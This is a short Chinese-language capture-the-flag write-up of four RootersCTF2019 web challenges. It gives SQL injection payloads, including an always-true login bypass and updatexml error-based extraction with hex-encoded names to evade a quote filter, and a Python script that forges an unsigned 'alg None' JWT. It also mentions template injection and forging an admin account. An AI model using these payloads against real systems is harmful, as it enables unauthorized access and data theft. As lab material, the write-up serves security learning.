RootersCTF2019

[RootersCTF2019]I_<3_Flask

一道ssti,需要用工具扫参数(结果是?name)

然后直接秒了就行了,因为基本上没过滤什么!没什么说的!

[RootersCTF2019]babyWeb

过滤

1
UNION SLEEP ' " OR - BENCHMARK

一开始还不知道什么意思,后面才知道输入的原来是密码,那么就试试万能密码呗

1
1 || 1=1 limit 0,1#

页面回显只能回显一条数据,所以用个limit

然后就是报错也可以

过滤引号,字段填表那里用16进制就好了

1
2
字段:1 || updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7573657273),0x7e),1)#
密码:1 || updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users),0x7e),1)#

然后拿第一个去查询就好了!

[RootersCTF2019]ImgXweb

注册登录,然后一个文件上传接口!

后缀名没啥过滤啊,尝试php后缀,虽然传上去了,但是访问就是下载说明没解析!那就只能在试试图片马了,但是话又说回来,php解析不了,肯定用不了.user.ini了!

后面发现cookie部分是个jwt,那么肯定就是jwt伪造了!一开始是用脚本改加密但是不行

1
2
3
4
5
6
7
import base64
# 能进行base64的加密解密都是字节类型
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace("+", "-").replace("/", "_").replace("=", "")
header = '{"typ":"JWT","alg":"None"}'
payload = '{"user":"admin"} '
print(jwtBase64Encode(header) + '.' + jwtBase64Encode(payload) + '.')

然后就是找密钥:1,使用工具爆破 2,看看有没有目录泄露。爆破没出来,有个/robots.txt然后把密钥搞到,伪造就好了

然后伪造之后有个flag的图片,抓包抓不了,又没回显,curl外带呗

1
curl -i http://6919af93-4974-40e5-9bf9-e1cc56c29838.node5.buuoj.cn/static/128e8ea7ce4a37b7100fb40b28c01280/flag.png

[RootersCTF2019]notifyxapi

注册的时候伪造admin就出来了,不难!

总的来说这个比赛可以说是非常简单!